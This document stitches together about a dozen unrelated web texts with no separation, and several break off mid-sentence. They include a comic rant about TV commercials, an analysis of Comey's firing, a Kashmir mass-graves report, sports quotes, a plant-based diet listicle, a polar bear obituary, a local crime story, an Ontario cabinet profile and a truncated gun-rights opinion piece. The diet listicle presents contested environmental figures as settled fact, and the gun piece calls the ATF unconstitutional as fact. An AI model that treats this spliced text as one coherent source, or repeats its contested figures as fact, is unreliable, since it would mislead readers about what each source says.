Literally no one else. If your first name is Laybee, and you've lived your entire life with the name of Laybee, hating it more than anything you've ever hated in your life, and someone you've had a crush on for two years makes a "Call Me Laybee" joke, begging you to call them and interact and love and explore and grow, you are still justified in throwing red paint on them.
Weird Al. That's it. That's it. Even then, you get to make fun of him for being uncool.
So now that we've agreed with that point, here we have a Sir Mix-A-Lot clone rappin' 'bout crusts. Except look at this garbage:
You know the actual product isn't going to look like whatever formica pizza sculpture the production crew invented for the ad. This is the best-case scenario, then. This is the artist's conception of the best possible meal you could conceivably enjoy at the Mac Shack. You have 10 pieces of sausage. I think I see an onion. The green flecks could be spinach, could be basil. I'm assuming there's a sprinkling of cheese in there.
And it's all surrounded by a WASTELAND OF CRUST. I like big crust. I... can't argue that point. But what is this shit? It's a range of doughy mountains made from sodium, yeast, air, and failed dreams.
I mean...
Why can't I just have a meatball? Can't you just put meatballs in the middle of the wasteland of bread? Why do you have to smash them? Are you smashing them with your fists? Your dirty, ill-washed fists? Can I just have a piece of crust? That's all I need, no I'm good, just one small piece of crust.
On second thought, I will not have a smashed meatball on an acre of bread, and you can't make me.
4. Craig. Craig. Craig. Craig. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG. CRAIG.
Here are all of the YouTube comments under this ad:
These are the smartest YouTube comments in the history of the medium, but they still give me the chills.
I grew up with The Simpsons. That's my cultural touchstone. It was witty, dumb, brilliant, poignant, everything. It was eventually replaced in the cultural idiom with Family Guy, which is occasionally humorous, but substitutes four-hour chicken fights in for the witty and poignant. Whatever, you can get off my lawn or not, your call. The chicken-fight gag is a spiritual descendant of Andy Kaufman reading The Great Gatsby. Don't dismiss it just yet. Gags like that have their place.
Except the nuclear waste from those gags is hard to dispose of. Here you see it in an ad for the Dodge Dart, which is like the Ford Focus of cars. The strategy is to get your attention. It gets your attention. Abuses your attention. Leaves your attention on the side of the highway, broken and inconsolable. That's the strategy. Craig. Craig. CRAIG. CRAIG.
3. Boner pills
It's just you... and your honey.
Dear Penthouse, I never thought this would happen to me, but...
The setting is perfect.
Known in tantric literature as "the goddamned kids actually fell asleep when they're supposed to."
But then, erectile dysfunction happens again.
How many takes did they have to do to get the right mix of disappointment and shaming, but not too much shaming? It's not your fault. It happens to a lot of guys. But you still screwed everything up. You absolutely ruined the everything. Let me suggest a solution in a British accent, something between a supervillain and a naughty nanny.
If you take this pill, there is a gorgeous woman on a beach in front of a sailboat and three random flags (quidditch? idk) just begging to have sex with you. She can wait. She can wait all year. She doesn't even know how to sail, so she's hanging out indefinitely. Just get... that... taken care of.
She will have pier sex with you. Do you know what pier sex is like? It's like regular sex, but with hot-ass splinters. Possibly hot ass-splinters. Whichever, it's amazing. I can't believe you've never had pier sex.
To avoid long-term injury, seek immediate medical help for an erection lasting more than four hours.
Hour one: Man. This thing.
Hour two: Seriously.
Hour three: Okay, cut it out.
Hour four: in the ER, dying from boners
Remember, you're watching this ad in the MLB postseason because the fans for this sport are dying and eventually baseball will be usurped by Interstellar Marines 7 live feeds on Twitch2, which is the Twitch channel that actually shows the programming that Twitch used to play before they started to provide different content for the old Twitch users who are growing up, even though you've never had the slightest idea what Twitch ever was.
2. Sad dog, neglected by drunken owner
The idea is that you're supposed to love your dog so much that you want to stay alive for it. This is a noble idea, a laudable goal. By risking your life, you're risking your dog's happiness. Take a cab. Sleep it off. Booze is good, but dogs are better.
Except look at how sad that dog is. Look at everything you've been through. You threw balls around the house when he was a puppy, you chased him and his leash. He ate your shoe (aww) and snuggled when you were sick. You fed him peanut-butter-and-Budweiser slurry...
... and he woke you up with licks. You drove with him and your shitty hat, and you took him to the pier (possibly in hopes of PIER SEX), and there was a barbecue, and...
you left him
he's lying on the floor
he's looking out the window
he thinks you're home but no it's a neighbor
he's sad
so sad
doggy sad
doggy very sad
How drunk are you? Seriously, how drunk? Maybe you're not that drunk. I mean, you've been drunker. You can probably drive. Dave's couch is lumpy, anyway. Maybe you should go home. It would sure make your best friend, your furry little soulmate, happy.
You can just picture how happy he is.
snuzzasnuzzasnuzza aw good to be home buddy snuzzasnuzzalick
Get in the car and make him happy. What are you waiting for? You're probably fine. Go pet him. C'mon. You owe him this much. He hardly asks for anything.
(Note: Do not drive. Never drive. He's a dog. He'll be fine. Do not listen to this commercial. Don't drive drunk because you will kill someone. Leave the dog out of it. He'll be fine. Why is this commercial making you feel guilty for something you shouldn't feel guilty about? Never drive drunk. Stay away from your dog for a week if you need to. Driving drunk is never, ever worth it.)
My 18-month-old daughter will climb over barbed wire to see this commercial once she hears the song from three rooms away. She'll clamber in and eagerly watch a beer commercial. You pernicious bastards.
1. BAAAAWWWN FREEEE
You are born in chains. Every one of you. You are tethered to the boob or the bottle, and you will remain tethered for years. If you are let free, you will crawl into traffic or hug a scorpion or something equally as awful. You will die if you are not protected and controlled. You are not born free. For starters.
Other problems with this commercial include Kid Rock being terrible at everything. His best studio-desperation growling is maybe -- maybe -- 0.0 WAR to Bob Seger's 4.3 WAR. The lyrics rely on adjective/platitude, adjective/platitude. Fast. High. Young. Fierce. Free. Strong. Deep. Wild. Calm. Lost. On a rough road riding. Through the mountains climbing. Like a new moon rising. It's not a Canyonero commercial, but only because it's not funny.
Trucks. Trucks. Trucks.
It's the frequency that makes this one No.1 with a bullet. It's on every other break. Fast. On a rough road riding. Fast. On a rough road riding. Fast. On a rough road riding. Fast. On a rough road riding. Fast. On a rough road riding. Fast. On a rough road riding. Fast. On a rough road riding. Fast. On a rough road riding. Over and over and over, every commercial break.
I guess Kid Rock is something of an elder statesman, now. The guy responsible for lyrics "I'm the D to the O, P to the D/O to the straight up G see/I been around like Jesus layin tracks/But I had to come back, I had to come back" is now here to tell us about how America is best enjoyed. Ol' Dopdog knows that if there's anything that makes America better, it's a pile of platitudes and 11th-grade poetry. Here, you try.
Climbing. Up a dusty trail
Driving. Through rain and hail
Ambling, rolling, tumbling. Into the blue unknown
And when it's time to face my maker, here's what I'll scream:
I want to make love to my truck
I want to make love to my truck and those hills, but start with the truck
If my truck had a voice, it would be a beautiful, 40-year-old British woman, but one who was never disappointed in me
Pull over. I have to see about a truck
Trucks
Trucks
Hills
Trucks
The worst part is that we've been dealing with this song and the MLB postseason for four years, now.
Maybe the Giants only win in the postseason when there's a Kid Rock promo to lead them? I don't know, I'm not OK with that. I need to shift the blame and tie some horrible music to the Cardinals before I sign off.
Phew. Off the hook.
I guess I could just mute the commercials next year.Here's what I have been able to glean so far about the decision to fire FBI Director James Comey:
During the transition, there were members of the Trump team involved with justice and law enforcement issues who felt Comey should be fired. They believed Comey had badly screwed up the Hillary Clinton investigation — first to Trump's detriment, on July 5, when he essentially laid out an indictment of Clinton but concluded by saying no charges would be brought, and later to Trump's benefit, on Oct. 28, just 11 days before the election, when he re-opened the Clinton investigation. And then, on the Sunday before election day, Comey meekly said "never mind," as if he had not just intervened in a presidential election.
It's not that the Trump team members who had experience in law enforcement issues were angry that Comey had at times hurt or helped Trump's chances. Looking ahead, the issue was that Comey seemed inconsistent and a weak leader. "All over the map," said one person involved in the transition. "A mess all the way through," said a lawmaker who supports Trump.
But those same Trump team members who believed Comey should go also believed there should be a process involved in doing it. Truth be told, not all of them — some wanted to see Trump fire everybody on Jan. 21: U.S. attorneys, ambassadors, Obama holdovers, everybody. But the more institutionally-minded members of the Trump team wanted to see a process observed. In the case of removing Comey, that involved going through the chain of command.
The structure was this: The FBI director reported to the deputy attorney general, who reported to the attorney general, who reported to the president. When Trump fired Comey Tuesday afternoon, that chain of command had been in place for all of 14 days.
First, it took a long time to get an attorney general in office. Facing Democratic opposition, Jeff Sessions, one of the president's first nominees, was not confirmed by the Senate until Feb. 8. Then, it took a long time to get a deputy attorney general in place. Rod Rosenstein, the deputy — and the man who wrote the rationale for axing Comey — faced similar Democratic delays and was not sworn in until April 26.
Only after Rosenstein was in place did the Trump team move ahead. That was true not only for chain-of-command reasons but also — probably more importantly — because Rosenstein had the bipartisan street cred to be able to be the point man in firing Comey. Even though his confirmation was delayed, Rosenstein was eventually confirmed by the Senate by a 94 to 6 vote, meaning that the vast majority of Democratic senators voted for him along with all of the Republicans.
How important was the arrival of Rosenstein to the bid to fire Comey? This, from a source in a Senate office Wednesday morning: "Many who are suggesting that there's something nefarious about the timing of the Comey firing are likely missing the fact that DAG Rosenstein was sworn in two weeks ago (April 26), and that the FBI Director reports to the DAG on the DOJ org chart. It seems completely normal that the DAG would review their top reports within the first couple weeks of starting."
Discount the part about "completely normal" — firing the FBI director, who has a ten-year term and was conducting a high-profile investigation into Russian interference in the 2016 election that touches on the president, was not a routine act. The point is, it took the arrival of Rosenstein to do it.
Where was President Trump on this? He was certainly part of discussions during the transition that included the Comey issue. But in his public statements, he was — true to form — unpredictable. Some who favored firing Comey were surprised by reports, just three days into the presidency, that Trump would keep the FBI director.
Of course, it is not news that people in the Trump circle are sometimes surprised by what the president says. It's also not news that when Trump says something, it's entirely possible that his organization, in this case the administration, is working on policy that is entirely different. "That's Trump saying stuff because he says stuff," says a Justice Department veteran who is not in the Trump circle. "And underneath, the policy is being made."
And besides, the president himself sent signals recently that Comey might not be entirely safe. In an April 12 interview, Fox Business' Maria Bartiromo asked Trump, "Was it a mistake not to ask Jim Comey to step down from the FBI at the outset of your presidency? Is it too late now to ask him to step down?"
"No, it's not too late," Trump answered. "But I have confidence at him, we'll see what happens. It's going to be interesting."
When Bartiromo asked again why Comey was still on the job, the president responded, "Because I want to give everybody a good, fair chance."
Does that sound like a ringing endorsement? It wasn't.
Now, despite having waited to observe the chain of command and have a deputy attorney general with bipartisan support carry out the firing, Trump is in a storm of controversy. How could he have expected otherwise? Democrats who just months ago wanted Comey fired are now comparing Trump's action to the Saturday Night Massacre. Given the intensity of partisan feelings over the Russia affair, the president undoubtedly knew that they would.
Certainly others did. In the first days of the administration, Michael Mukasey, attorney general under President George W. Bush, called on the president to fire Comey over Comey's mishandling of the Clinton case. Later, in March, Mukasey appeared on Fox, where Bartiromo asked him, "Are you surprised Jim Comey is still on his job?"
"I thought that the opportunity to ask him to leave was when the new administration came in," Mukasey said.
"That didn't happen."
"That didn't happen," Mukasey agreed, "and it can't really happen now because [Comey] has gotten himself embroiled in a dispute and it would look like he's being fired for political reasons."Srinagar, Indian-administered Kashmir - The state-run human rights commission has told the government in Kashmir to investigate at least 2,080 unmarked mass graves discovered in border areas of the restive region.
The Association of Parents of Disappeared Persons (APDP), a human rights group in Kashmir, told the commission there were 3,844 unmarked graves - 2,717 in Poonch and 1,127 in Rajouri, twin districts in the region that lie along Line of Control (LoC) that divides the disputed territory between India and Pakistan.
In response, the commission acknowledged the presence of 2,080 unmarked graves and asked the government for a comprehensive investigation to be completed in six months, including DNA tests of the bodies to compare it with family members of the disappeared.
In 2011, the commission directed the government to investigate the mass graves. At the time, a special team from the commission said 2,730 unidentified bodies were buried in 38 sites across northern Kashmir.
"The commission has no hesitation to issue the same directions, which were already issued in the case," the recent order said.
Thousands disappeared
APDP maintains 8,000 people have disappeared in the decades-old conflict, and accuses government forces of staging gun battles to cover up killings.
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The association welcomed the commission's latest demand to investigate mass graves in India's Jammu and Kashmir state.
"It is an acknowledgement from the institution that is run by the government. It provides further legal remedies for the family members of missing," Khurram Parvez from APDP told Al Jazeera.
"We have been demanding that there be an independent commission to do a credible probe on the mass graves."
Parvez said the probe might give an "answer" to families of disappeared who do not know whether their relatives are dead or alive.
"We have done a study of 53 cases for a report where the bodies were exhumed from unknown graves. It was found that 49 bodies in the graves were of civilians and one was a local militant, three bodies were unknown. These people were dubbed as foreign militants by the government," Parvez said.
Since 2011, instead of complying with directions from the human rights commission, the government continues to avoid such an investigation on the pretext it would lead to a "law and order problem" in Kashmir, APDP said in a statement.
The European Parliament adopted a resolution in July 2008 and called on India's government ensure independent and impartial investigations into all mass graves, APDP said.
Officials contacted by Al Jazeera declined to comment on Friday.
The state government has said most of the missing were likely Kashmiri youths who crossed into Pakistan for weapons training. Those comments have been dismissed by family members of the disappeared.
'Emotional closure'
Tahira Begum, 39, from Baramulla whose husband disappeared in 2002, said if the government investigates the graves it would provide "emotional closure" to family members.
"We want to know whether our family members are buried in these graves. At least, we will get an address to mourn," she told Al Jazeera.
Tahira said she had to leave her three sons in an orphanage after her husband disappeared.
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"My kids would run from school and ask me where their father is. For years, I told them he has gone for work outside. But as time passed, I couldn't lie to them any more."
Her husband disappeared after leaving home for work and never returned. "I went everywhere to look for him but failed. I just want an answer - what happened to him," she said.
Nuclear-armed rivals India and Pakistan each administer part of Kashmir, but both claim the Himalayan territory in its entirety.
Rebel groups have been fighting since 1989 for the Indian-administered portion to become independent or merge with Pakistan.
Nearly 70,000 people have been killed in the uprising and the ensuing Indian military crackdown. India maintains about 500,000 soldiers in the territory.
Anti-India sentiment runs deep among Kashmir's mostly Muslim population and most support rebels against Indian rule despite a decades-long military crackdown to fight the armed rebellion.
India has accused Pakistan of arming and training the rebels, allegations that Pakistan denies.
Rebel groups have largely been suppressed by Indian security forces in recent years, and public opposition to Indian rule is now principally expressed through street protests.A number of supermarket chains are demanding that CCTV systems be fitted in the stunning and killing areas of all abattoirs that supply them with meat, as they move to reassure consumers that animals are not being cruelly treated.
Morrisons, M&S, Waitrose, Co-op and Sainsbury's have also promised that CCTV images will be independently monitored – as called for by the charity Animal Aid, which ran a campaign last year involving undercover filming of alleged brutality.
Footage captured by Animal Aid, which was revealed by the Guardian last year, included a sheep being thrown into a pen, another being carried in a wheelbarrow, a pig being kicked, another being hit in the face with a shackle hook, and animals being improperly stunned.
Animal Aid also revealed incidents where equipment for stunning animals was used on their bodies, on |
's going to go out and strike three guys out the next time. I don't know that. He'll be fine."
On Rondon's struggles:
"Is he certainly a good candidate? Absolutely. Just because he's had a little bit of a rough time, that doesn't mean he's no longer a candidate, because he is. … He's a very good candidate and he's still a very good candidate. He's struggled. To put it simple, he's throwing it pretty hard and they're hitting it pretty hard."
On decision time on Rondon:
"At some point, it'll come to a head where Dave (Dombrowski), myself, the coaches will say, 'Yes, he can,' or, 'No, he's not ready.' It'll come to a point sometime. But it's way too early. We're not even near that yet. But obviously at some point that will happen."
On the need for a closer:
"The ideal situation is to have a closer, in my opinion. We don't know for sure if we do or we don't yet. It's way too early for that. I've mixed and matched several times in my career. How that's going to play out, I don't know. I'm not any more concerned about it than I was two months ago. When I say that, I don't want to make that sound like a red flag, because I don't mean it that way. I managed the last few years with a closer. So you're used to that."
More on Rondon:
"He's either going to pitch well enough to be on the club or he's not. It's that simple. There's no pressure on him. We just want the kid to go out, relax, show us what he's got and at some point we'll make a decision. He's fine. He's certainly not in anybody's doghouse. If he would have had three really good outings, I would not be saying here today that I was anointing him the closer. It's too early for that. This kid's fine. He's getting a taste of what it's like up here. He'll figure it out."
On Plan B:
"I always have a Plan B. I already have one. But I had it this winter. I didn't just have it because he had a bad outing. I didn't come up with a Plan B last night."
On mixing and matching relievers:
"I'll do whatever I think it takes to win games for the Detroit Tigers and I'll use my bullpen accordingly. You automatically understand that when you don't -- and I'll be the first to tell you this. It might sound kind of selfish, but I've told you this all along. There's no question that it makes it 100 times better when you have a closer that is a closer and a good one because it takes a lot of pressure off the manager. We can (expletive) all we want, but I can tell you right now that if we have to mix and match it'll be a second-guesser's delight. Because if you use (Phil) Coke, 'Why didn't you use Benoit?' If you use (Joaquin) Benoit, 'Why didn't you use (Brayan) Villarreal,' if he's on the team. If you use Villarreal, 'Why didn't you use (Al) Alburquerque? He was fresh.' That's what happens. But you know what, I'm supposed to know how to use my pitching … so that doesn't bother me. But you might as well make up your mind, when you don't have a closer, you're open game."
On how having a closer reduces pressure on others:
"Absolutely. Absolutely. That's the other point. It takes pressure off other members of the bullpen who don't have to fight the stress of finishing out the game. There's no (expletive) about it. There have been a lot of guys in baseball who could get outs 22, 23 and 24 but not 25, 26 and 27. That's just the way it is. But you know what? I feel comfortable, however this plays out, I'm going to feel comfortable to start the season. Would I feel more comfortable if we had a dominant closer. Absolutely. I'd be lying if I didn't say so."
More on Rondon and his mechanics:
"First of all, Bruce Rondon has not pitched his way off anything. It's way too early for that. Way too early. I emphasize that. We looked at some film today. Will that help? Is that the answer? I don't know that. It's probably not the answer, to be honest with you. It might have been a little thing. But you know what? You look for something to build on or something. Who knows? It might be the thing. I don't know."
On rumors that the Tigers are interested in Jose Valverde:
"That's not in the picture. Trust me. That has not even been discussed."
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page.Washington Nationals' Bryce Harper), right, is greeted by third base coach Bob Henley, left, after hitting a solo-home run in the first inning of a baseball game against the Atlanta Braves, Monday, April 4, 2016, in Atlanta. (AP Photo/John Bazemore) (Photo: The Associated Press)
ATLANTA (AP) — Bryce Harper is making a habit of hitting home runs on opening day.
The reigning NL Most Valuable Player homered in his first at-bat of the season, connecting for the Washington Nationals on Monday in the first inning at Atlanta.
The 23-year-old Harper already has four career homers on opening day. He homered twice in the 2013 opener and also homered last year.
Harper hit a solo drive into the right-field seats off Julio Teheran. Braves fans booed Harper in pregame introductions and again before he hit.
Copyright 2016 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Talib Kweli told Complex how he ended up on the track:
So I watched him make the ‘Get Em High’ beat in 15 minutes…
He was like, ‘Well shit, this is hot, and if you’re not gonna fuck with it, I’m gonna fuck with it.’ A few months later he was putting the final touches on The College Dropout, and he called me and said, ‘I have to turn in this album in two days, but I cannot do this album without you being a part of it. I’ve got this song over this beat I had made for you, remember ‘Get Em High?’ I have Common on it, and I want you to come and hop on it with us, but you’ve gotta do it right now.’ I was on tour in Europe. So I went and found a studio, recorded my verse, and sent it to him, and he put it on the album.I’m the first to admit that I went plant-based for selfish reasons. At 39, I was a fat, out-of-shape couch potato hurdling into middle age depressed and unenthusiastic about my life. It was only in the wake of a health scare on the eve of my 40th birthday that I realized not only that I needed to change, but that I wanted to change.
That change ultimately took the form of a plant-based diet, a decision that permanently changed the trajectory of life — transforming me into a middle-aged ultra-endurance athlete, one of Men’s Fitness’ “25 Fittest Men in the World” and the respected wellness advocate I have today become.
By eating nothing but plants close to their natural state, I lost weight quickly and responsibly. My vitality and enthusiasm for life restored, I went on to accomplish athletic feats I could have never previously dreamed possible, including top finishes at the Ultraman World Championships and becoming the first person to complete EPIC5: five ironman-distance triathlons on five Hawaiian Islands in under a week.
Believe it or not, I can say without reservation that these achievements became possible only because I put animal products in the rear view. No beef, no chicken, no pork, no fish, no milk, no cheese, no eggs. Just plants. Go figure.
But life isn't static. As my journey evolves, I have become increasingly more interested in issues beyond my waistline and the world of elite athletic performance. Issues like disease prevention, environmental conservation, world hunger, and the accountability we all shoulder to be more responsible stewards of this precious spinning globe we share with billions of other people and animals.
Wellness begins with what we put on our plate. But that’s just first base. True health is far more comprehensive — extending beyond our personal physical well-being to the collective, sustainable health of all living beings and the places they call home.
So here are my top 10 reasons why going plant-based is the best way to live healthier and more responsibly so together we can all thrive.
1. It prevents (and can reverse) chronic disease.
A whole food, plant-based diet has been scientifically proven to prevent and even reverse a litany of food and lifestyle-borne illnesses, including heart disease and type 2 diabetes — modern plagues on the developed world.
2. It conserves water.
You might be surprised to learn that more than half of all water consumed in the U.S. is used for animal agriculture. In fact, the meat and dairy industry uses a full third of the entire planet’s fresh water. Based on a global average of water consumption for beef production, it takes about 460 gallons of water to produce just one quarter pound hamburger. And dairy isn’t much better, requiring 1,000 gallons of water to produce just one gallon of milk. This is not only wasteful and inefficient, it is emblematic of a broken system of food production that is simply unsustainable.
3. It cuts greenhouse gas emissions
When it comes to global climate change, we tend to focus on the impact of fossil fuel use and hot-button issues like fracking. But the elephant in the room is animal agriculture, which is responsible for 18% of all greenhouse gas emissions, more than the exhaust from all transportation combined. If every American dropped just one serving of chicken from their diet per week, it would save the same amount of CO2 emissions as removing 500,000 cars from the road. In fact, a plant-based diet will cut your carbon footprint by a full 50%.
4. It conserves land.
Livestock covers 45% of the Earth’s total land, and nearly half of the contiguous U.S. is devoted to animal agriculture. One and a half acres of land can produce 375 pounds of meat, or 37,000 pounds of plant food. In other words, a meat eater requires 18 times the amount of land necessary to feed someone eating plant-based. You do the math.
5. It helps prevent species extinction.
Animal agriculture is also a leading cause of species extinction. More than a hundred animal and insect species are lost every day from rain forest destruction — a crucial, irreparable blow to the biodiversity essential to maintaining our planet’s healthy ecology.
6. It reduces waste pollution.
Every minute, 7 million pounds of excrement are produced by animals raised for food in the U.S. In fact, a farm with 2,500 dairy cows produces the same amount of waste as a city of 41,000 people. Seriously? Yeah, seriously.
7. It helps prevent marine life destruction.
As many as 40% (63 billion pounds) of fish caught globally every year are thrown out, and some scientists say we could see fishless oceans by 2048. Moreover, the waste runoff from animal agriculture can cause ocean dead zones — giant algal blooms so oxygen deprived that no animal or plant life can survive.
8. It stops deforestation.
Animal agriculture is responsible for up to 91% of Amazon destruction, and one to two acres of rain forest are cleared every minute for grazing and growing feed for livestock. The impact is a cancer on our planet’s precious lungs, responsible for providing us with the oxygen we need to survive.
9. It helps alleviate world hunger.
We are currently growing enough food to feed 10 billion people, and the US alone could feed 800 million people with the grain that livestock eat. Hunger isn’t a scarcity issue, it’s an allocation and distribution issue.
10. It boosts athletic performance.
I truly believe that eating plant-based is my secret weapon for maximizing athletic performance by expediting my recovery — the holy grail when it comes actualizing performance potential. If I could do what I've done athletically on nothing but plants, I assure you that you can, too.
Regardless of how into wellness you may be personally, the truth is that we're sicker than ever. Our planetary problems are profound. I don’t enumerate these problems to be alarmist; I only hope to draw attention to the fact that the standard American diet isn’t just making us sick. It isn’t just inefficient. It’s simply outdated tech.
It’s time for a food system reboot. The good news is that version 2.0 has been staring us in the face all along.
So if you want to prevent and reverse disease, do what’s best for all of us collectively, and kick ass in sport and life, adopting a plant-based, or at least plant-centric approach to your plate is the most powerful and impactful choice you can make as a conscious consumer.
I would go so far as to call it the ultimate planetary life hack.Story highlights Wang suffered from chronic arthritis and liver failure
He lost his polar bear companion, GeeBee, in January
He spent months grieving for her and shunned food
The Johannesburg Zoo he's called home for 28 years euthanized him Wednesday
The last polar bear in Africa died Wednesday after months of grieving his longtime companion at a zoo in Johannesburg, a far cry from his Arctic habitat.
Wang, 28, suffered from chronic arthritis and liver failure.
The Johannesburg Zoo, where he had been a major attraction since he was a cub, put him down for health reasons.
The furry giant spent his last days pining for GeeBee, his polar bear partner of 28 years, who died of a heart attack in January.
GeeBee and Wang had spent their days together at the zoo since they were 6 months old. It was a notable friendship -- polar bears tend to be solitary animals.
Wang, left, and GeeBee had spent their days together since they were cubs. GeeBee died of a heart attack in January.
After her death, Wang walked around listless and shunned food and swimming, the latter a favorite pastime with GeeBee.
To distract him from his heartbreak so he could eat and improve his health, the zoo coaxed him with special treats and showered him with toys.
For Valentine's Day this year, zoo officials brought Wang a box filled with fruit and meat, and decorated it with love hearts and a note that said, "We Love You Wang!"
Companies also showered him with toys and gifts, including an offer of a snow machine in the hopes that it might excite the animal long associated with subzero temperatures.
After his companion's death, Wang lost interest in food and shunned swimming, his favorite pastime.
But Wang had lived his entire life in a warm climate, and a sudden change in environment would be fatal for his advanced age, the zoo said at the time.
In the wild, polar bears barely make it past 20 years, said Agnes Maluleke, the carnivore curator for the Johannesburg Zoo.
Wang was born at a Japanese zoo, and GeeBee came from Canada after both were swapped for lions. The two met at the Johannesburg Zoo in 1986.
They did not breed because polar bears' reproduction is stimulated by cold weather, Maluleke said.
The zoo has no plans to replace the polar bears.WARREN, Mich. - Anthony Cupp was so happy when he finally earned his new Nike Kevin Durant basketball shoes.
The 13-year-old gets straight A's in advanced math at Lincoln Middle School in Warren. He just made the 8th-grade basketball team. By mowing his neighbor's lawn, Anthony saved up enough money for the shoes he has been dreaming about.
He said he was shocked Thursday after school when an older, bigger kid snatched those shoes right off of his feet at MacArthur and Jewett Avenue while he was walking to his stepfather's home.
"Five or 10 seconds it happened," said Anthony. "I was shocked. I was just walking and then all of the sudden someone grabbed me and picked me up, and then he just dropped me onto the ground. Then he grabbed my ankles and took off my shoes and ran."
His mother, Janiesa Cupp, saw him come home barefoot in the snow.
"Barefoot. Snowing. Wind. Freezing. He's uttering to me, 'My feet, my feet. I can't feel my feet.' It's horrifying," she said.
It was Anthony's first time walking home from school. His mother was in therapy after a rough surgery and her car is broken down. Now, she's heartbroken to know what her son earned on his own was taken from him.
"He saves and earns for the things that he wears and he does have nice things, and that's his thing. That's his hobby. He likes Nike. He loves sports. He wants to wear nice things and he works for it," said Janiesa.
Copyright 2014 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Deb Matthews has been given the most important and the most challenging posting in Ontario's cabinet. But she can't stop talking about her old job.
"I always draw on my experience from Health," she said during an interview this week. Repeatedly returning to the subject, Ms. Matthews made no bones about viewing her new role as the president of the treasury board through the lens of five years running the province's biggest ministry.
This is not a stubborn refusal to move on; it is the biggest reason, beyond her close working relationship with Premier Kathleen Wynne, she has been tasked with quarterbacking the elimination of a $12.5-billion deficit in a three-year span.
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Defying predictions, she succeeded in flattening annual increases in health costs – which, because of an aging population and insatiable demand for new and expensive treatments, were threatening to eat the provincial budget whole – at roughly 2 1/2 per cent. Whether the skills that enabled Ms. Matthews to do so prove applicable across the rest of government will do much to determine whether Ms. Wynne is able to achieve her goal of returning to balance without significantly raising taxes or tearing social programs to shreds.
The first such test will come with labour negotiations that Ms. Matthews is now expected to spearhead. For a flag-bearer of her party's left flank, she proved surprisingly hard-edged and effective while at Health in reducing the amount the province pays to its pharmacists, and winning major concessions from doctors. But those are professions with which her Liberals have little natural alliance, and the same can't be said for teachers, whose contract negotiations before year's end will be both hugely important to the province's bottom line and a stage-setter for talks with other unions.
In the interview, Ms. Matthews reiterated that, as with other workers in the broader public sector, teachers will be expected to accept "net zeroes" in compensation increases. But as she was more circumspect on whether the government will also seek to use the negotiations to drive workforce reductions or changes to job descriptions, it appeared the appetite for structural change that she displayed in Health is likelier to manifest itself in other ways.
One of those is the belief that, rather than trying to micromanage the hunt for efficiencies, it's best to leave service providers to make do with less than they think they need – something the government has done, to a large extent, with hospitals.
"If there's more money every year, you'll do more of the same thing and you won't take the time to say, 'Whoa, is there a better way to do it?'" she said. "I think some of the improvements in Health have come because the purse strings are tighter."
She also hinted at meeting the needs of growing suburban populations, which could drive up costs in various ministries, with what could be a controversial reallocation from small-town and rural areas that are overserved by comparison.
That's already begun with hospitals, she noted, and is now spreading to child care and other social services. "Some will get more, and some will get less, and that's what happens when you start to do this without increasing the size of the pie."
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Then there is the idea, pivotal to health reforms of recent years, that to find efficiencies and improve outcomes it is necessary to focus on the small segment of the population that makes disproportionate use of services.
In health care, that's meant more aggressive and integrated case management of the sorts of people who turn up frequently in emergency rooms. To apply that more pro-active approach to "people with mental-health issues and intersection with the justice system, or kids in care of the Children's Aid Society," would by Ms. Matthews' estimate improve cost efficiency.
Not that she's under any illusion that even the file on which she spent a half-decade is where it needs to be.
"You look at how our health-care system stacks up against other health-care systems, we've got really good outcomes for patients, but we don't have a health-care system that's high-performing," she said. "We've got way too many people going to emergency departments when they don't need to. It's way too hard to get an appointment with a family doctor – same day, next day, when you're sick. There's a lot we can do that is better for patients and better value for money."
She added that Eric Hoskins, her replacement at Health, will be on top of that now. That he'll have Ms. Matthews breathing down his neck won't set him apart from anyone else around the cabinet table.Last year, Gun Owners of America warned that the "ATF (Bureau of Alcohol, Tobacco, Firearms and Explosives) is going from dealer to dealer, copying the information on these forms (4473), and feeding it into a database." We've seen, in recent weeks, how this unconstitutional agency is illegally terrorizing small business owners, such as Ares Armor, and raiding their establishments to gather information on their customers, in what many people believe is part of the plan to create a national gun registry database. Now comes another story out of Maine.
According to Phil Chabot, owner of Pac N Arms, the ATF also used illegal tactics to attempt to scan information on his customers as well.
Chabot has worked with the general public and various law enforcement agencies over the past twenty-two years and has many federal agents, including DEA, FBI, Homeland Security, ATF and US Marshals as customers.
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Though Chabot acknowledges that ATF conducts Industry Operations Inspections (IOI - an audit that all firearms dealers [FFLs] may be subject to, during which the ATF verifies our inventory and is supposed to verify all paperwork and record-keeping is being done correctly and is properly maintained) every five years, I have pointed out that any and all federal gun laws are unconstitutional since the states never gave any authority to the federal government when it comes to restricting arms of US citizens. Therefore the agency, in its existence, is a violation of the federal constitution.
Chabot has engaged in numerous IOIs with the ATF that, according to him, are usually "completed within a week." However, he said the most recent audit, which took place in August of 2013, "went on over two months, and it appeared to be little more than a thinly-veiled attempt to create a registry of my clientele."
Under 18 USC § 926, anyone in the Justice Department, including members of the ATF are categorically prohibited from seizing any records or documents other than those constituting material evidence of a violation of law.
Specifically, the law reads:
